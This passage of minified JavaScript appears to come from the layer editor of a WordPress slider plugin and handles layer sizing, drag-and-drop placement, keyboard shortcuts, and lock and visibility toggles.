0===RVS.cC["js_"+RVS.RSCBA.t[a]]?document.getElementById(RVS.RSCBA.ti[a]):RVS.cC["js_"+RVS.RSCBA.t[a]],RVS.cC["js_"+RVS.RSCBA.t[a]].value=t.idle[RVS.RSCBA.t[a]][RVS.screen].v+"px";for(var a in RVS.RSCBA.a)t.size[RVS.RSCBA.a[a]][RVS.screen].v=s("width"===RVS.RSCBA.a[a]?"ceil":"round",i[RVS.RSCBA.a[a]],e.size),RVS.cC["js_"+RVS.RSCBA.a[a]]=void 0===RVS.cC["js_"+RVS.RSCBA.a[a]]?document.getElementById(RVS.RSCBA.ai[a]):RVS.cC["js_"+RVS.RSCBA.a[a]],RVS.cC["js_"+RVS.RSCBA.a[a]].value=t.size[RVS.RSCBA.a[a]][RVS.screen].v+(RVS.F.isNumeric(t.size[RVS.RSCBA.a[a]][RVS.screen].v)?"px":"");if(!0===t.idle.boxShadow.inuse)for(var a in RVS.RSCBA.sh)t.idle.boxShadow[RVS.RSCBA.sh[a]][RVS.screen].v=s("round",i.boxShadow[RVS.RSCBA.sh[a]],e.size,"px");for(var r=0;r<4;r++)t.idle.padding[RVS.screen].v[r]=s("round",i.padding[r],e.size);e.ingroup&&(t.position.x[RVS.screen].v=s("round",i.x,e.size,"px"),t.position.y[RVS.screen].v=s("round",i.y,e.size,"px")),RVS.F.drawHTMLLayer({uid:e.layerid,ignoreLayerAnimation:!0})}function d(e){RVS.H[e].w[0].className=RVS.H[e].w[0].className.split("dont_blur").join("").split("drop_over_layer").join("").split("drop_after_layer").join("").split("drop_before_layer").join("").split("drop_before_firstlayer").join("").split("drop_after_lastlayer").join("")}function S(){var e=void 0!==RVS.S.DaD.target?RVS.S.DaD.target.into:"free";"column"===e?(void 0!==RVS.S.DaD.target&&(RVS.C.layergrid[0].classList.remove("drop_in_root"),void 0!==RVS.S.DaD.target.rowID&&"group"!==RVS.S.DaD.target.rowID&&(RVS.H[RVS.S.DaD.target.rowID].w[0].className+=" dont_blur drop_over_layer"),void 0!==RVS.S.DaD.target.columnID&&(RVS.H[RVS.S.DaD.target.columnID].w[0].className+=" dont_blur drop_over_layer","none"!==RVS.SLIDER.settings.snap.adjust&&RVS.F.clearSnapVisual(),void 0===RVS.S.DaD.target.elementID&&(RVS.S.DaD.target.columnTop?RVS.H[RVS.S.DaD.target.columnID].w[0].classList.add("drop_before_firstlayer"):RVS.H[RVS.S.DaD.target.columnID].w[0].classList.add("drop_after_lastlayer"))),void 0!==RVS.S.DaD.target.elementID&&(RVS.S.DaD.target.elementBefore?RVS.H[RVS.S.DaD.target.elementID].w[0].classList.add("drop_before_layer"):RVS.H[RVS.S.DaD.target.elementID].w[0].classList.add("drop_after_layer"))),"column"==RVS.S.DaD.target.columnType&&0==RVS.S.DaD.showInMini&&(RVS.S.DaD.showInMini=!0,tpGS.gsap.to(RVS.S.DaD.uiHelper,.1,{left:(RVS.S.mP.left-RVS.S.layer_grid_offset.left)/RVS.zoom,top:(RVS.S.mP.top-RVS.S.layer_grid_offset.top)/RVS.zoom,transformOrigin:"0 0",width:RVS.S.DaD.originalWidth,display:RVS.L[RVS.S.DaD.currentLayerId].idle.display,opacity:.75,scale:.6,x:0+RVS.S.DaD.scrolldiff.x,y:0+RVS.S.DaD.scrolldiff.y}))):"free"===e&&(RVS.S.DaD.showInMini&&1==RVS.S.DaD.showInMini&&tpGS.gsap.to(RVS.S.DaD.uiHelper,.1,{top:RVS.S.mP.top+RVS.S.rb_ScrollY,width:RVS.L[RVS.S.DaD.currentLayerId].size.width[RVS.screen].v,display:"block",left:RVS.S.mP.left+RVS.S.rb_ScrollX,scale:1,x:0-RVS.S.DaD.touchPosition.x+"px",y:0-RVS.S.DaD.touchPosition.y+"px"}),RVS.S.DaD.showInMini=!1,void 0!==RVS.S.DaD.target&&(RVS.C.layergrid.addClass("drop_in_root"),void 0!==RVS.S.DaD.target.rowID&&-1!==RVS.S.DaD.target.rowID&&"group"!==RVS.S.DaD.target.rowID&&(RVS.H[RVS.S.DaD.target.rowID].w[0].className=RVS.H[RVS.S.DaD.target.rowID].w[0].className.split("dont_blur").join("").split("drop_over_layer").join("")),void 0!==RVS.S.DaD.target.columnID&&(RVS.H[RVS.S.DaD.target.columnID].w[0].className=RVS.H[RVS.S.DaD.target.columnID].w[0].className.split("dont_blur").join("").split("drop_over_layer").join("").split("drop_before_firstlayer").join("").split("drop_after_lastlayer")),void 0!==RVS.S.DaD.target.elementID&&(RVS.H[RVS.S.DaD.target.elementID].w[0].className=RVS.H[RVS.S.DaD.target.elementID].w[0].className.split("drop_after_layer").join("").split("drop_before_layer").join("")),-1!==RVS.S.DaD.lastRegisteredRow&&"group"!==RVS.S.DaD.lastRegisteredRow&&void 0!==RVS.S.DaD.lastRegisteredRow&&void 0!==RVS.S.DaD.lastRegisteredRow&&(RVS.H[RVS.S.DaD.lastRegisteredRow].w.className+=" dont_blur drop_over_layer")))}function c(){for(var e in RVS.H)delete RVS.H[e].coor}function p(e){var t=jQuery(e.id);t.addClass("selected"),jQuery(e.remove).removeClass("selected"),jQuery("#toolkit_selector_ph_icon").html(t[0].dataset.toolkiticon),jQuery("#toolkit_selector_ph_icon_sub").html(t[0].dataset.toolkiticonsub),e.multi&&0===jQuery("#selectbydraw").length?jQuery("#rev_slider_ul").append('<div id="selectbydraw"></div>'):e.multi||jQuery("#selectbydraw").remove(),window.RS_sel_and_add=e.add}RVS.F.initLayerTools=function(){RVS.DOC.on("addImportedLayers",function(e,t){}),RVS.DOC.on("copyhoversettings",function(e,t){if(0!==RVS.selLayers.length&&(void 0===t||"checkiffirst"!==t||!0!==RVS.L[RVS.selLayers[0]].hover.copied)){for(var i in RVS.selLayers)if(RVS.selLayers.hasOwnProperty(i)){var a=RVS.L[RVS.selLayers[i]];a.hover.copied=!0,a.hover.backgroundColor=a.idle.backgroundColor,a.hover.borderColor=a.idle.borderColor,a.hover.color=a.idle.color[RVS.screen].v,a.hover.borderRadius=jQuery.extend(!0,{},a.idle.borderRadius),a.hover.borderStyle=a.idle.borderStyle[RVS.screen].v,a.hover.borderWidth=a.idle.borderWidth.map(e=>e),RVS.F.drawHTMLLayer({uid:RVS.selLayers[i]})}RVS.F.updateEasyInputs({container:jQuery("#form_layer_hover"),path:RVS.S.slideId+".layers.",trigger:"init",multiselection:!0})}}),RVS.DOC.on("click",".add_linebreak",function(){var e=new Array;for(var t in RVS.F.openBackupGroup({id:"addLineBreak",txt:"Add LineBreak",icon:"add",lastkey:"layer"}),RVS.selLayers)RVS.selLayers.hasOwnProperty(t)&&e.push(RVS.selLayers[t]);for(t in e)if(e.hasOwnProperty(t)&&-1!==RVS.L[e[t]].group.puid&&"column"===RVS.L[RVS.L[e[t]].group.puid].type){var i=RVS.F.addLayer({type:"linebreak",forceSelect:!1,subtype:this.dataset.subtype,libevent:this.dataset.libevent,libfilters:this.dataset.libfilters});RVS.F.intelligentUpdateValuesOnLayer(i),RVS.F.sortLayer({layer:""+i,target:this.dataset.pos,env:""+e[t]})}RVS.F.closeBackupGroup({id:"addLineBreak",txt:"Add LineBreak",icon:"add",lastkey:"layer"})}),RVS.DOC.on("updateRowPosition",function(e,t){if(null!=t&&void 0!==t.val)for(var i in RVS.selLayers)if(RVS.selLayers.hasOwnProperty(i))if("row"===RVS.L[RVS.selLayers[i]].type)RVS.L[RVS.selLayers[i]].group.puid!==t.val&&RVS.F.sortLayer({layer:RVS.selLayers[i],target:"zone",env:t.val});else if("column"===RVS.L[RVS.selLayers[i]].type){var a=RVS.L[RVS.selLayers[i]].group.puid;RVS.L[a].group.puid!==t.val&&RVS.F.sortLayer({layer:a,target:"zone",env:t.val})}}),RVS.DOC.on("click","#import_layers",function(){return RVS.F.openObjectLibrary({types:["modules"],filter:"all",selected:["modules"],context:"editor",depth:"layers",updatelist:!1,staticalso:!0,success:{layers:"addImportedLayers"}}),!1}),RVS.DOC.on("click","#add_from_layerlibrary",function(){return RVS.F.openObjectLibrary({types:["layers"],filter:"all",selected:["layers"],context:"editor",depth:"grouplayers",success:{layers:"addLayerLibrary"}}),!1}),RVS.DOC.on("click",".colselector",function(){jQuery("#row_column_structure").val(this.dataset.col).change()}),RVS.DOC.on("click","._group_lock_toggle_",function(){RVS.L[this.dataset.uid].group.locked=void 0===RVS.L[this.dataset.uid].group.locked||!RVS.L[this.dataset.uid].group.locked,RVS.F.updateGroupLocks()}),RVS.DOC.on("update blur change","#row_column_structure",function(){if(void 0!==this.value&&""!=this.value){var e=this.value=RVS.F.figureColumnSizes({plain:this.value}).plain;jQuery("#colselector_wrap .colselector").each(function(){e==RVS.F.sanitize_columns(this.dataset.col)?this.className="colselector selected":this.className="colselector"})}}),RVS.DOC.on("addMetaToLayer",function(e,t){window.metatarget=t.eventparam,RVS.F.RSDialog.create({modalid:"rbm_layer_metas",bgopacity:.5}),jQuery("#rbm_layer_metas .rbm_content").RSScroll({wheelPropagation:!1,suppressScrollX:!0})}),RVS.DOC.on("click",".mdl_group_header",function(){var e=jQuery(this).closest(".mdl_group");e.toggleClass("closed")}),RVS.DOC.on("click","#rbm_layer_metas .rbm_close",function(){RVS.F.RSDialog.close()}),RVS.DOC.on("click",".mdl_group_member",function(){if("layer"===metatarget){var e=jQuery("#ta_layertext")[0].selectionStart;for(var t in RVS.F.openBackupGroup({id:"insertMeta",txt:"Insert Meta Data",icon:"note_add"}),RVS.selLayers)if(RVS.selLayers.hasOwnProperty(t)){var i=RVS.selLayers[t],a=RVS.S.slideId+".layers."+i+".text",r=RVS.L[i].text.substring(0,e),s=RVS.L[i].text.substring(e,RVS.L[i].text.length);RVS.F.updateSliderObj({path:a,val:r+this.dataset.val+s}),RVS.F.redrawTextLayerInnerHTML(i),RVS.F.drawHTMLLayer({uid:i})}RVS.F.closeBackupGroup({id:"insertMeta"}),RVS.F.updateLayerInputFields()}else{var o=jQuery(window.metatarget),e=o[0].selectionStart,n=o.val().substring(0,e)+this.dataset.val+o.val().substring(e,o.val().length);o.val(n).change(),RVS.F.RSDialog.close()}}),RVS.DOC.on("checkforaudiolayer",RVS.F.checkForAudioLayer),RVS.DOC.on("click",".add_layer",function(e,t){if("import_layers"!==this.id&&"add_from_layerlibrary"!==this.id){var i=RVS.F.addLayer({type:this.dataset.type,forceSelect:!0,subtype:this.dataset.subtype,libevent:this.dataset.libevent,libfilters:this.dataset.libfilters,extensiongroup:this.dataset.extensiongroup,subsubtype:this.dataset.subsubtype});RVS.F.intelligentUpdateValuesOnLayer(i),RVS.F.selectLayers({id:i,overwrite:!0,action:"add"})}}),RVS.DOC.on("click","#do_delete_layer",function(e){RVS.DOC.trigger("do_delete_layer")}),RVS.DOC.on("click",".all_layer_selector",function(){return RVS.DOC.trigger("do_select_all_layer"),!1}),RVS.DOC.on("click","#do_duplicate_layer",function(){RVS.DOC.trigger("do_duplicate_layer")}),RVS.DOC.on("click","#do_copy_layer",function(){RVS.DOC.trigger("do_copy_layer")}),RVS.DOC.on("click","#do_paste_layer",function(){RVS.DOC.trigger("do_paste_layer")}),RVS.DOC.on("mouseenter","#do_background_layer, #do_foreground_layer",function(){var e=RVS.selLayers[0];void 0!==RVS.H[e]&&tpGS.gsap.set(RVS.H[e].w,{zIndex:RVS.L[e].position.zIndex})}),RVS.DOC.on("mouseleave","#do_background_layer, #do_foreground_layer",function(){RVS.F.updateSelectedHtmlLayers()}),RVS.DOC.on("click","#do_background_layer",function(){var e=RVS.selLayers[0],t=RVS.F.getLayerAfterZIndex(e);switch(RVS.L[e].type){case"row":void 0!==t?RVS.F.sortLayer({layer:e,target:"after",env:t,redraw:!0}):"top"===RVS.L[e].group.puid?RVS.F.sortLayer({layer:e,target:"zone",env:"middle",redraw:!0}):"middle"===RVS.L[e].group.puid&&RVS.F.sortLayer({layer:e,target:"zone",env:"bottom",redraw:!0});break;case"column":void 0!==t&&RVS.F.sortLayer({layer:e,target:"after",env:t,redraw:!0});break;default:-1===jQuery.inArray(t,["top","bottom","middle"])&&void 0!==RVS.L[e].group&&-1!==RVS.L[e].group.puid&&"column"===RVS.L[RVS.L[e].group.puid].type?(t=RVS.F.getPrevNextLayerInOrder(e,"next"))!==e&&RVS.F.sortLayer({layer:e,target:"after",env:t,redraw:!0}):void 0!==t&&(t="top"===t||"middle"===t?"bottom":t,RVS.F.sortLayer({layer:e,target:"after",env:t,redraw:!0}))}}),RVS.DOC.on("click","#do_foreground_layer",function(){var e=RVS.selLayers[0],t=RVS.F.getLayerBeforeZIndex(e);switch(RVS.L[e].type){case"row":void 0!==t?RVS.F.sortLayer({layer:e,target:"before",env:t,redraw:!0}):"bottom"===RVS.L[e].group.puid?RVS.F.sortLayer({layer:e,target:"zonebottom",env:"middle",redraw:!0}):"middle"===RVS.L[e].group.puid&&RVS.F.sortLayer({layer:e,target:"zonebottom",env:"top",redraw:!0});break;case"column":void 0!==t&&RVS.F.sortLayer({layer:e,target:"before",env:t,redraw:!0});break;default:-1===jQuery.inArray(t,["top","bottom","middle"])&&void 0!==RVS.L[e].group&&-1!==RVS.L[e].group.puid&&"column"===RVS.L[RVS.L[e].group.puid].type?(t=RVS.F.getPrevNextLayerInOrder(e,"prev"))!==e&&RVS.F.sortLayer({layer:e,target:"before",env:t,redraw:!0}):void 0!==t&&(t="bottom"===t||"middle"===t?"top":t,RVS.F.sortLayer({layer:e,target:"before",env:t,redraw:!0}))}}),RVS.DOC.on("keydown",function(e){window.shiftdown=e.shiftKey,window.altdown=e.altKey;var t=!1,i=window.shiftdown?10:1;if(("MacOS"===RVS.S.OSName&&e.metaKey&&!e.ctrlKey||e.ctrlKey)&&(window.cmdctrldown=!0),RVS.S.builderHover&&("none"===RVS.S.inFocus||void 0===RVS.S.inFocus)){if(!window.shiftdown||"layer"===RVS.eMode.top&&"#form_layer_animation"===RVS.eMode.menu||RVS.DOC.trigger("squareselection"),!window.cmdctrldown||"layer"===RVS.eMode.top&&"#form_layer_animation"===RVS.eMode.menu||RVS.DOC.trigger("cursorselectionadd"),"MacOS"===RVS.S.OSName&&e.metaKey&&!e.ctrlKey||e.ctrlKey)switch(e.keyCode){case 65:return RVS.DOC.trigger("do_select_all_layer"),!1;case 67:RVS.DOC.trigger("do_copy_layer");break;case 86:RVS.DOC.trigger("do_paste_layer");break;case 74:!0!==window.altdown&&RVS.DOC.trigger("do_duplicate_layer");break;case 79:var a=document.getElementById("magnet_fr_sticky_inh");a.checked=!0,t=!0;break;case 73:var a=document.getElementById("magnet_fr_sticky");a.checked=!0,t=!0;break;case 85:var a=document.getElementById("magnet_fr_none");a.checked=!0,t=!0}switch(e.keyCode){case 8:case 46:return RVS.DOC.trigger("do_delete_layer"),!1;case 37:return RVS.F.moveLayerByKeys({x:-1*i,y:0}),!1;case 39:return RVS.F.moveLayerByKeys({x:1*i,y:0}),!1;case 38:return RVS.F.moveLayerByKeys({x:0,y:-1*i}),!1;case 40:return RVS.F.moveLayerByKeys({x:0,y:1*i}),!1}}if(t)return e.preventDefault(),!1}),RVS.DOC.on("keyup",function(e){window.shiftdown=e.shiftKey,window.altdown=e.altKey,window.cmdctrldown="MacOS"===RVS.S.OSName&&e.metaKey&&!e.ctrlKey||e.ctrlKey,window.shiftdown||window.cmdctrldown||RVS.DOC.trigger("cursorselection"),window.moveByKeyboard&&(RVS.F.closeBackupGroup({id:"LayerPosition"}),window.moveByKeyboard=!1)}),RVS.DOC.on("click",".ui_free_layers, .ui_top_row_layers",function(){var e=jQuery(this);e.toggleClass("selected"),e.hasClass("selected")?(jQuery("#rev_builder_inner").removeClass(this.dataset.realref),jQuery("#timeline").removeClass(this.dataset.ref)):(jQuery("#rev_builder_inner").addClass(this.dataset.realref),jQuery("#timeline").addClass(this.dataset.ref))}),RVS.DOC.on("click dblclick","._lc_",function(e){if(void 0!==RVS.S.inFocus&&"none"!==RVS.S.inFocus&&RVS.S.inFocus.history&&RVS.S.inFocus.value&&RVS.S.inFocus.history!=RVS.S.inFocus.value&&jQuery(RVS.S.inFocus).trigger("change"),"click"===e.type&&RVS.S.clickedLayer===this.dataset.uid&&void 0!==RVS.S.clickOnLayerTimer&&e.timeStamp-RVS.S.clickOnLayerTimer<800)return!1;if(RVS.S.clickOnLayerTimer=e.timeStamp,RVS.S.clickedLayer=this.dataset.uid,RVS.F.selectLayers({id:this.dataset.uid,overwrite:!window.RS_sel_and_add&&!window.cmdctrldown,action:"add",ignoreUpdate:!1}),-1!==RVS.L[this.dataset.uid].group.puid&&"row"!==RVS.L[this.dataset.uid].type){var t=RVS.L[this.dataset.uid].group.puid;jQuery("#tllayerlist_element_"+RVS.S.slideId+"_"+t).removeClass("collapsed"),-1!==RVS.L[t].group.puid&&"row"!==RVS.L[t].type&&jQuery("#tllayerlist_element_"+RVS.S.slideId+"_"+RVS.L[t].group.puid).removeClass("collapsed"),RVS.F.saveCollapsedGroups()}if("dblclick"===e.type)switch(RVS.F.openSettings({forms:["*slidelayout**mode__slidecontent*#form_layer_content"],uncollapse:!0}),RVS.L[this.dataset.uid].type){case"text":case"button":jQuery("#ta_layertext").trigger("focus");break;case"image":"objectlibrary"===RVS.L[this.dataset.uid].media.imageLib?jQuery("#image_layer_object_library_button").trigger("click"):jQuery("#image_layer_media_library_button").trigger("click");break;case"svg":RVS.F.openObjectLibrary({types:["fonticons","svgs","svgcustom"],filter:"all",selected:["svgs"],success:{icon:"insertContentFromOL"}})}return 1===RVS.selLayers.length&&RVS.F.layerListScrollable("scrollToSelected"),RVS.DOC.trigger("layerselectioncomplete",[this]),!1}),RVS.DOC.on("dblclick","._lc_",function(){return RVS.F.selectLayers({id:this.dataset.uid,overwrite:!window.RS_sel_and_add,action:"add",ignoreUpdate:!1}),!1}),RVS.DOC.on("mouseenter",".layerlist_element",function(){-1==jQuery.inArray(this.dataset.id,["top","bottom","middle"])&&RVS.H[this.dataset.id].w.addClass("hoveredinlist")}),RVS.DOC.on("mouseleave",".layerlist_element",function(){-1==jQuery.inArray(this.dataset.id,["top","bottom","middle"])&&RVS.H[this.dataset.id].w.removeClass("hoveredinlist")}),RVS.DOC.on("click","#unlock_all_layer",function(){for(var e in RVS.L)if(void 0!==RVS.L[e].visibility&&RVS.L[e].visibility.locked){RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+e+".visibility.locked",val:!1}),RVS.H[e].w.removeClass("_locked_");var t=document.getElementById("tllayerlist_element_"+RVS.S.slideId+"_"+e);t.className=t.className.replace(" _locked_","")}RVS.F.checkLockedLayers()}),RVS.DOC.on("click",".unlock_single_layerm",function(){RVS.F.lockUnlockLayer({uid:this.dataset.uid,val:!1}),RVS.F.checkLockedLayers()}),RVS.DOC.on("click",".layer_current_locked",function(){RVS.F.lockUnlockLayer({uid:this.dataset.uid}),RVS.F.checkLockedLayers()}),RVS.DOC.on("click","#visible_all_layer",function(){for(var e in RVS.L)if(RVS.L.hasOwnProperty(e)&&void 0!==RVS.L[e].visibility&&!1===RVS.L[e].visibility.visible){RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+e+".visibility.visible",val:!0}),RVS.H[e].w.removeClass("_unvisible_");var t=document.getElementById("tllayerlist_element_"+RVS.S.slideId+"_"+e);t.className=t.className.replace(" _unvisible_","")}RVS.F.checkShowHideLayers()}),RVS.DOC.on("click","#toggle_lock_layer",function(){RVS.F.lockUnlockLayers()}),RVS.DOC.on("click","#toggle_visible_layer",function(){RVS.F.showHideLayers({uid:this.dataset.uid})}),RVS.DOC.on("click","#hide_highlight_boxes",function(){jQuery(this).toggleClass("selected"),RVS.C.theEditor.toggleClass("nohiglightboxes")}),RVS.DOC.on("click",".visible_single_layer",function(){return RVS.F.showHideLayer({uid:this.dataset.uid,val:!0}),RVS.F.checkShowHideLayers(),!1}),RVS.DOC.on("click"," .layer_current_visibility",function(){return RVS.F.showHideLayer({uid:this.dataset.uid}),RVS.F.checkShowHideLayers(),!1}),RVS.DOC.on("mouseenter",".visible_single_layer",function(e){RVS.H[this.dataset.uid].w.addClass("hoveredinlist")}),RVS.DOC.on("mouseleave",".visible_single_layer",function(e){RVS.H[this.dataset.uid].w.removeClass("hoveredinlist")}),RVS.DOC.on("mouseenter",".unlock_single_layer",function(e){RVS.H[this.dataset.uid].w.addClass("hoveredinlist")}),RVS.DOC.on("mouseleave",".unlock_single_layer",function(e){RVS.H[this.dataset.uid].w.removeClass("hoveredinlist")}),RVS.DOC.on("mousedown","#selectbydraw",function(e){RVS.WIN.scrollTop(0);var t=jQuery("#selectbydraw");t.append('<div id="selectbydraw_box"></div>'),RVS.F.updateContentDeltas(),RVS.S.click.y=e.clientY+RVS.S.rb_ScrollY,RVS.S.click.x=e.clientX+RVS.S.rb_ScrollX,window.scrollCacheY=RVS.S.rb_ScrollY,window.scrollCacheX=RVS.S.rb_ScrollX,window.selectbydraw=1,RVS.F.selectLayers({overwrite:!0})}),RVS.DOC.on("mouseup","#selectbydraw",function(e){jQuery("#selectbydraw").remove(),jQuery("#select_by_cursor").trigger("click"),RVS.F.selectLayers({}),window.selectbydraw=0}),RVS.DOC.on("mousemove","#selectbydraw",function(e){if(1===window.selectbydraw){var t=jQuery("#selectbydraw");RVS.S.DaD.dragdelta.x=e.clientX+RVS.S.rb_ScrollX-RVS.S.click.x,RVS.S.DaD.dragdelta.y=e.clientY+RVS.S.rb_ScrollY-RVS.S.click.y;var i={x:RVS.S.click.x,y:RVS.S.click.y};i.x=RVS.S.DaD.dragdelta.x<0?i.x+RVS.S.DaD.dragdelta.x:i.x,i.y=RVS.S.DaD.dragdelta.y<0?i.y+RVS.S.DaD.dragdelta.y:i.y;var a={top:i.y,left:i.x,right:i.x+Math.abs(RVS.S.DaD.dragdelta.x),bottom:i.y+Math.abs(RVS.S.DaD.dragdelta.y)},r=t.offset();for(var s in tpGS.gsap.set("#selectbydraw_box",{top:i.y,left:i.x,width:Math.abs(RVS.S.DaD.dragdelta.x),height:Math.abs(RVS.S.DaD.dragdelta.y)}),RVS.H)if(RVS.H.hasOwnProperty(s)){var o={top:RVS.H[s].w.offset().top-r.top,left:RVS.H[s].w.offset().left-r.left};o.right=o.left+RVS.H[s].w.width(),o.bottom=o.top+RVS.H[s].w.height(),RVS.L[s].visibility.locked||!RVS.L[s].visibility.visible?RVS.F.selectLayers({id:s,overwrite:!1,action:"remove",ignoreUpdate:"onlyhtml",ignoreFieldUpdates:!0,ignoreModeChange:!0}):!(o.left>a.left&&o.left<a.right&&o.top>a.top&&o.top<a.bottom||o.right>a.left&&o.right<a.right&&o.top>a.top&&o.top<a.bottom||o.left>a.left&&o.left<a.right&&o.bottom>a.top&&o.bottom<a.bottom||o.right>a.left&&o.right<a.right&&o.bottom>a.top&&o.bottom<a.bottom||a.left>o.left&&a.left<o.right&&a.top>o.top&&a.top<o.bottom||a.right>o.left&&a.right<o.right&&a.top>o.top&&a.top<o.bottom||a.left>o.left&&a.left<o.right&&a.bottom>o.top&&a.bottom<o.bottom||a.right>o.left&&a.right<o.right&&a.bottom>o.top&&a.bottom<o.bottom||a.top<o.top&&a.bottom>o.bottom&&a.left>o.left&&a.right<o.right||a.top>o.top&&a.bottom<o.bottom&&a.left<o.left&&a.right>o.right)||a.left>o.left&&a.right<o.right&&a.top>o.top&&a.bottom<o.bottom?RVS.F.selectLayers({id:s,overwrite:!1,action:"remove",ignoreUpdate:"onlyhtml",ignoreFieldUpdates:!0,ignoreModeChange:!0}):RVS.F.selectLayers({id:s,overwrite:!1,action:"add",ignoreUpdate:"onlyhtml",ignoreFieldUpdates:!0,ignoreModeChange:!0})}}}),RVS.DOC.on("mousemove","#dropSensor",function(e){1===RVS.S.DaD.dropSensor&&requestAnimationFrame(function(){RVS.S.rb_ScrollX===window.scrollMem.x&&RVS.S.rb_ScrollY===window.scrollMem.y||c();var t,i=jQuery("#dropSensor"),a={x:e.clientX-15,y:e.clientY-65},r=i.offset();if(RVS.S.DaD.dropTimer=0,RVS.S.DaD.targetBefore=RVS.S.DaD.target,RVS.S.DaD.target={},RVS.S.DaD.dropParentPos={x:0,y:0},clearTimeout(RVS.S.DaD.timer),"group"!==RVS.L[RVS.S.DaD.currentLayerId].type){for(var s in RVS.H)if(RVS.H.hasOwnProperty(s)&&(d(s),RVS.H[s].coor=void 0===RVS.H[s].coor?{top:RVS.H[s].w.offset().top-r.top-RVS.S.rb_ScrollY,left:RVS.H[s].w.offset().left-r.left-RVS.S.rb_ScrollX,width:RVS.H[s].w.outerWidth(),height:RVS.H[s].w.outerHeight()}:RVS.H[s].coor,RVS.H[s].coor.right=RVS.H[s].coor.left+RVS.H[s].coor.width*RVS.zoom,RVS.H[s].coor.center=RVS.H[s].coor.left+RVS.H[s].coor.width*RVS.zoom/2,RVS.H[s].coor.bottom=RVS.H[s].coor.top+RVS.H[s].coor.height*RVS.zoom,RVS.H[s].coor.middle=RVS.H[s].coor.top+RVS.H[s].coor.height*RVS.zoom/2,null!=RVS.L[s]&&void 0!==RVS.L[s].visibility&&RVS.L[s].visibility.visible&&!RVS.L[s].visibility.locked&&(void 0===RVS.L[s].group.puid||-1===RVS.L[s].group.puid||void 0===RVS.L[RVS.L[s].group.puid]||void 0===RVS.L[RVS.L[s].group.puid].visibility||RVS.L[RVS.L[s].group.puid].visibility.visible&&!RVS.L[RVS.L[s].group.puid].visibility.locked)&&a.x>=RVS.H[s].coor.left&&a.x<=RVS.H[s].coor.right&&a.y>=RVS.H[s].coor.top&&a.y<=RVS.H[s].coor.bottom)){if(t=void 0!==RVS.S.DaD.lastGroupParent&&RVS.S.DaD.lastGroupParent===s?474:void 0!==RVS.S.DaD.target.groupID&&-1!==RVS.S.DaD.target.groupID?RVS.L[RVS.S.DaD.target.groupID].position.zIndex:-1!==RVS.S.DaD.target.puid&&void 0!==RVS.S.DaD.target.puid?RVS.L[RVS.S.DaD.target.puid].position.zIndex:RVS.L[s].position.zIndex,void 0!==RVS.S.DaD.target.zIndex&&RVS.S.DaD.target.zIndex>=t&&(-1==RVS.L[s].group.puid||null==RVS.L[s].group.puid))continue;"column"===RVS.L[s].type&&RVS.L[s].visibility.visible?(RVS.S.DaD.target.type=RVS.L[s].type,RVS.S.DaD.target.groupID=RVS.L[s].group.puid,RVS.S.DaD.target.rowID=RVS.L[s].group.puid,RVS.S.DaD.target.columnID=RVS.S.DaD.toContainerID=s,RVS.S.DaD.target.columnType=RVS.S.DaD.toContainerType="column",RVS.S.DaD.target.columnTop=a.y<=RVS.H[s].coor.middle,RVS.S.DaD.target.zIndex=t):"group"===RVS.L[s].type&&RVS.L[s].visibility.visible?(RVS.S.DaD.target.type=RVS.L[s].type,RVS.S.DaD.target.rowID="group",RVS.S.DaD.target.groupID=RVS.L[s].group.puid,RVS.S.DaD.target.columnID=RVS.S.DaD.toContainerID=s,RVS.S.DaD.target.columnType=RVS.S.DaD.toContainerType="group",RVS.S.DaD.target.columnTop=!0,RVS.S.DaD.target.zIndex=t):"row"!==RVS.L[s].type&&"group"!==RVS.S.DaD.target.columnType&&s!=RVS.S.DaD.currentLayerId&&(RVS.S.DaD.target.type=RVS.L[s].type,RVS.S.DaD.target.elementID=s,RVS.S.DaD.target.puid=RVS.L[s].group.puid,RVS.S.DaD.target.elementMiddle=RVS.H[s].coor.middle,RVS.S.DaD.target.elementBefore=a.y<=RVS.H[s].coor.middle,RVS.S.DaD.target.zIndex=t)}var o=RVS.S.DaD.lastGroupParent;if(delete RVS.S.DaD.lastGroupParent,"group"===RVS.S.DaD.target.rowID&&(RVS.S.DaD.lastGroupParent=RVS.S.DaD.target.columnID,RVS.F.setZindex({id:RVS.S.DaD.lastGroupParent,o:474})),void 0!==o&&RVS.S.DaD.lastGroupParent!==o&&RVS.F.setZindex({id:o}),void 0!==RVS.S.DaD.target&&"group"===RVS.S.DaD.target.rowID&&(RVS.S.DaD.dropParentPos.x=RVS.H[RVS.S.DaD.target.columnID].w_offset.left,RVS.S.DaD.dropParentPos.y=RVS.H[RVS.S.DaD.target.columnID].w_offset.top),void 0!==RVS.S.DaD.targetBefore&&void 0===RVS.S.DaD.target.elementID&&void 0!==RVS.S.DaD.target.columnID&&RVS.S.DaD.target.columnID===RVS.S.DaD.targetBefore.columnID){var n=RVS.F.getLayerChildren({layerid:RVS.S.DaD.target.columnID}),l=[],p=0,R=1e4;for(var s in n)n.hasOwnProperty(s)&&s!=RVS.S.DaD.currentLayerId&&(RVS.H[s].coor.bottom<a.y||RVS.H[s].coor.middle<=a.y&&RVS.H[s].coor.bottom>=a.y)&&(l.push(s),p=p<RVS.H[s].coor.bottom?RVS.H[s].coor.bottom:p);for(var u in l)if(l.hasOwnProperty(u)){var s=l[u];p<=RVS.H[s].coor.bottom&&R>Math.abs(RVS.H[s].coor.center-a.x)&&(R=Math.abs(RVS.H[s].coor.center-a.x),RVS.S.DaD.target.elementID=s,RVS.S.DaD.target.elementBefore=!1)}}else void 0!==RVS.S.DaD.target.elementID&&void 0!==RVS.S.DaD.target.columnID&&-1==RVS.S.DaD.target.puid&&(RVS.S.DaD.target.elementID=void 0)}else for(var s in RVS.H)RVS.H.hasOwnProperty(s)&&d(s);void 0!==RVS.S.DaD.target&&RVS.S.DaD.lastRegisteredRow===RVS.S.DaD.target.rowID?(RVS.S.DaD.target.into="column",RVS.S.DaD.toContainerID=RVS.S.DaD.target.columnID,RVS.S.DaD.toContainerType=RVS.S.DaD.target.columnType,clearTimeout(RVS.S.DaD.timerLeaveRow),RVS.S.DaD.timerLeaveRowStarted=!1,S()):(RVS.S.DaD.toContainerType="root",RVS.S.DaD.target.into="free",RVS.S.DaD.toContainerID=-1,S()),void 0!==RVS.S.DaD.target&&RVS.S.DaD.lastRegisteredRow!==RVS.S.DaD.target.rowID&&void 